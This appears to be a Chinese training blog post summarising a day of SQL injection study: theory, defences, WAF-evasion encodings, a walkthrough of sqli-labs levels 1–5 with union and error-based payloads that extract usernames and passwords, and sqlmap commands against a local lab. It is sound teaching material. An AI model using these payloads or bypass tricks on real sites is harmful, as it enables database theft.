网络安全毕业实习实训Day5 总结

目录

一、SQL注入知识

1.1 SQL注入原理

1.2 SQL注入分类

1.3 SQL注入常用函数及含义

1.4 SQL注入防御手段

1. 基础防范措施

2. 进阶防御机制

1.5 SQL注入常用绕过WAF的方法

1. 编码伪装

2. 转义字符伪装

3. 随机数混淆

4. 大小写伪装

5. 双写伪装

6. 内联注释伪装

7. 总结

二、sqli-labs靶场通关

2.1 Less 1

2.2 Less 2

2.3 Less 3

2.4 Less 4

2.5 Less 5

三、SQL的手工注入的步骤

四、使用sqlmap通过或验证第六关

4.1 --dbs枚举数据库

4.2 --tables枚举数据库表

4.3 --columns枚举列

4.4 --dump枚举数据


一、SQL注入知识

1.1 SQL注入原理

        SQL注入(SQL Injection)是一种针对数据库的攻击技术,攻击者通过在输入字段中插入恶意的SQL代码,以操纵数据库执行未经授权的操作。其原理是利用应用程序未对用户输入进行充分的过滤和验证,使得恶意的SQL代码被直接注入到数据库中执行,获取或修改数据库中的数据,达到攻击者的目的。

        本质:数据库把用户输入的数据当作SQL代码来执行,违背了“数据与代码分离”的原则。

1.2 SQL注入分类

分类依据类型
获取信息的方式布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等
提交方式GET、POST、COOKIE、HTTP 注入等
注入点类型数字类型的注入、字符串类型的注入、搜索型注入等
其他注入二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等

1.3 SQL注入常用函数及含义

version()                       Mysql版本
user()                          数据库用户名
database()                      数据库名
system_user()                   数据库用户名
session_user()                  连接数据库的用户名
current_user()                  当前用户名
load_file()                     读取本地文件
@@datadir                       读取数据库路径
@@basedir                       mysql安装路径
@@version_complie_os            查看操作系统版本

information_schema              自带数据库
information_schema.schemata     数据库
information_schema.tables       数据表
information_schema.columns      数据列
floor()                         返回小于等于该值的最大整数
RAND()                          在0和1之间产生一个随机数
join()                          实现表的连接
length(str) : 返回给定字符串的长度,如 length("string")=6
​
substr()、stbstring()、mid() :三个函数的用法、功能均一致
​
concat(username):将查询到的username连在一起,默认用逗号分隔
​
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
​
group_concat(username) :将username所有数据查询在一起,用逗号连接
​
limit 0,1:查询第1个数 limit 1,1:查询第2个数

order by 4          -- 判断有多少列
​
union select 1,2,3  -- 判断数据显示点
​
union select 1,user(),database()      -- 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3   -- 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3                -- 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3                              -- 查看账号密码信息

1.4 SQL注入防御手段

1. 基础防范措施

(1)预编译语句与参数化查询

        在大多数现代编程语言与数据库驱动程序中,提供了预编译SQL语句的功能,如Java中的PreparedStatement:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userInputUsername);
pstmt.setString(2, userInputPassword);
ResultSet rs = pstmt.executeQuery();

此处的?标记会被替换成实际的参数值,从而有效防止了SQL注入。

(2)严格过滤特殊字符

        虽然不是最佳做法,但在无法使用预编译语句的情况下,至少应对用户输入进行严格的验证和转义:

import mysql.connector
from mysql.connector import Error
​
def escape_input(input_str):
    return mysql.connector.escape_string(input_str)
​
username = escape_input(request.form['username'])
password = escape_input(request.form['password'])
​
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
2. 进阶防御机制

(1)最小权限原则

        确保应用程序连接数据库的账号仅具备完成任务所需的最小权限,避免攻击者一旦突破防线就能全面操控数据库。

(2)二次身份验证与访问控制

        对于敏感操作,实施双重验证或其他形式的身份验证机制,以降低单一攻击途径的风险。

(3)使用ORM框架

        面向对象关系映射(ORM)框架通常内置了对抗SQL注入的安全措施,如Django ORM、Hibernate等。

(4)安全编码规范

        团队内部推行严格的安全编码规范,要求开发人员时刻警惕SQL注入风险,并通过自动化测试工具检测潜在漏洞。

1.5 SQL注入常用绕过WAF的方法

1. 编码伪装

        编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。伪装编码又分为以下几种:

(1)URL编码:

示例:没有伪装前的payload:

SELECT * FROM users WHERE username = 'admin' or 1 = 1;--' AND password = '123456'

URL编码伪装后的payload:

SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27

(2)Unicode编码:

示例:没有伪装前的payload:

SELECT * FROM users WHERE username = 'admin' OR 1=1 AND password = '123456'

伪装后的payload:

SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'

(3)十六进制编码:

示例:伪装前payload:

 ' OR 1=1 --

伪装后payload:

27%20%4F%52%201%3D%31%20%2D%2D

(4)二次编码:

示例:伪装前payload:

-1 union select 1,2,3,4#

第一次编码后的payload:

%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23

第二次编码后的payload:

%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
2. 转义字符伪装

示例:伪装前

'UNION SELECT username, password FROM users --

伪装后

\' UNION SELECT username, password FROM users --

 在上述示例中,攻击者在原始payload中使用了单引号,在单引号前面加上了反斜杠【 \ 】,形成了转义字符 【\ ’ 】。但在程序中,反斜杠本身也是一个转义字符。我们通过将反斜杠和单引号组合使用,就可以在SQL语句中实现一个“接近”的单引号字符,而不是一个完整的单引号字符。这样,攻击者就成功地绕过了对单引号的过滤和校验。

3. 随机数混淆

示例:伪装前payload:

UNION SELECT username, password FROM users WHERE id=1

伪装后payload:

' UNION SELECT username, password
FROM users WHERE id=1 AND 1=(SELECT
RAND() < 0.5) --

在这个Payload中,攻击者使用了RAND()函数来生成一个随机数,并将它与0.5进行比较。因为RAND()函数可以返回0到1之间的任意数值,所以此处的比较操作的结果是随机的:有50%的几率生成的随机数小于0.5,50%的几率大于等于0.5。当生成的随机数小于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=1

当生成的随机数大于等于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=0

这两种情况对应了恶意代码执行成功和失败的情况。同时,攻击者还使用了–注释符号来消除掉多余的Payload,使得恶意代码更加难以被检测到。

采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。

4. 大小写伪装

即通过大小写混合来伪装,比如:【UnIon SeleCt】

5. 双写伪装

如:【UNIunionON SELselectECT】。 原理也很简单:waf将其识别为普通字符而逃过过滤,但是应用程序按照union select来处理。

6. 内联注释伪装

内联注释SQL注入的原理是在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。例如,攻击者可以在注入语句中夹杂内联注释符号“/* */”,来进行伪装,使应用程序误解为注释掉的一部分代码,而实际上是执行了注入的恶意代码。如:【’ /!union/ select】

7. 总结

针对sql注入攻击的绕过一般是在数据库层面的绕过,需要指出的是,针对不同的数据库管理系统,其特性不同,绕过方式也存在差异。绕过的核心思路就是通过伪装混淆,逃过waf的过滤规则,但是又能在应用层顺利执行。

二、sqli-labs靶场通关

搭建sqli-labs平台时,在数据库初始化阶段可能会因为小皮版本问题报错,解决方法是下载php7版本的靶场或直接给小皮降版本,具体步骤见我另一篇博客:

解决sqli-labs靶场搭建的错误问题-CSDN博客

数据库初始化成功:

image-20240831194253264

image-20240831194457966

靶场成功搭建,可以开始做题了!

2.1 Less 1

本关提示我们输入数字值的ID作为参数,我们输入?id=1试试:

image-20240901010746666

输入?id=2试试:

image-20240901010813455

可以看到数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

而后判断sql语句是否是拼接,且是字符型还是数字型。

?id=1'

image-20240901102715655

?id=1'--+

image-20240901102818002

判断是字符型注入,闭合方式是'。可以使用联合查询。

(1)找列数

如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

?id=1'order by 4 --+

image-20240901103350875

image-20240901103330505

可得到列数为3。

(2)爆出显示位

看看表格里面那一列是在页面显示的。

image-20240901103720296

发现是第二列和第三列里面的数据被显示。

(3)获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

image-20240901103822305

(4)爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240901104001056

(5)爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20240901104039163

(6)爆用户名密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

image-20240901104130813

2.2 Less 2

跟Less-1思路一样,先判断注入类型,再进行注入。

(1)判断输入类型

?id=1 and 1=1

?id=1 and 1=2

image-20240901111241984

image-20240901112229494

判断为数字型注入。

(2)查询字段数

?id=1 order by 3

image-20240901112359788

?id=1 order by 4

image-20240901112427456

可以知道字段数为3。

(3)注入

?id=-1 union select 1,2,3 -- 显位
?id=-1 union select 1,database(),version()  -- 爆库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- 爆表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- 爆列

爆用户名和密码:

?id=-1 union select 1,2,group_concat(username ,id , password) from users

image-20240901112652114

2.3 Less 3

同Less-1判断过程,【')】闭合。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

image-20240901113045773

2.4 Less 4

同Less-1判断过程,【")】闭合。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

image-20240901113113810

2.5 Less 5

同Less1-4的判断过程,发现即使调整了id的值,并没有产生回显点,判断闭合方式为单引号闭合。采用报错注入。

(1)爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

image-20240901115426990

(2)爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

image-20240901115718216

(3)爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

image-20240901115756441

(4)爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

image-20240901115825889

三、SQL的手工注入的步骤

SQL手工注入的基本步骤:

(1)判断是否存在注入,判断类型并且闭合语句;

(2)使用order by 关键字来判断字段数;

(3)选择注入语句,使用union查询或者报错注入;

(4)获取数据库用户,版本,当前连接的数据库等信息;

(5)获取某个数据库表的信息,获取列信息;

(6)获取表中的数据。

四、使用sqlmap通过或验证第六关

下面以第六关为例,用sqlmap尝试通关。

4.1 --dbs枚举数据库

sqlmap -u http://127.0.0.1/Less-6/?id=1 --batch --dbs

image-20240901120311214

image-20240901120337332

得到所有数据库名。

4.2 --tables枚举数据库表

sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security --tables --batch

image-20240901120825495

得到指定数据库中的所有表名。

4.3 --columns枚举列

sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users --columns --batch

image-20240901120936085

得到指定数据库中指定表中的所有列的信息。

4.4 --dump枚举数据

sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch

image-20240901121107387

枚举数据,得到第六关的用户名和密码(存储在security数据库的users表中)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值